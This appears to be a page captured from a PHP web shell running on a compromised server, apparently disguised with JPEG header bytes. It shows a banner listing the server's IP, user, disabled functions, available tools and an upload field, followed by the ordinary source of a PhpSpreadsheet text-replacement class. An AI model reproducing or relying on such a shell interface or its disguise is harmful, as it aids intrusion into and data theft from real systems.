ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 13.59.159.63 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/ |
Upload File : |
<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use PhpOffice\PhpSpreadsheet\Calculation\Functions; class Replace { /** * REPLACE. * * @param mixed $oldText The text string value to modify * @param mixed $start Integer offset for start character of the replacement * @param mixed $chars Integer number of characters to replace from the start offset * @param mixed $newText String to replace in the defined position */ public static function replace($oldText, $start, $chars, $newText): string { $oldText = Functions::flattenSingleValue($oldText); $start = Functions::flattenSingleValue($start); $chars = Functions::flattenSingleValue($chars); $newText = Functions::flattenSingleValue($newText); $left = Extract::left($oldText, $start - 1); $right = Extract::right($oldText, Text::length($oldText) - ($start + $chars) + 1); return $left . $newText . $right; } /** * SUBSTITUTE. * * @param mixed $text The text string value to modify * @param mixed $fromText The string value that we want to replace in $text * @param mixed $toText The string value that we want to replace with in $text * @param mixed $instance Integer instance Number for the occurrence of frmText to change */ public static function substitute($text = '', $fromText = '', $toText = '', $instance = 0): string { $text = Functions::flattenSingleValue($text); $fromText = Functions::flattenSingleValue($fromText); $toText = Functions::flattenSingleValue($toText); $instance = floor(Functions::flattenSingleValue($instance)); if ($instance == 0) { return str_replace($fromText, $toText, $text); } $pos = -1; while ($instance > 0) { $pos = mb_strpos($text, $fromText, $pos + 1, 'UTF-8'); if ($pos === false) { break; } --$instance; } if ($pos !== false) { return self::REPLACE($text, ++$pos, mb_strlen($fromText, 'UTF-8'), $toText); } return $text; } }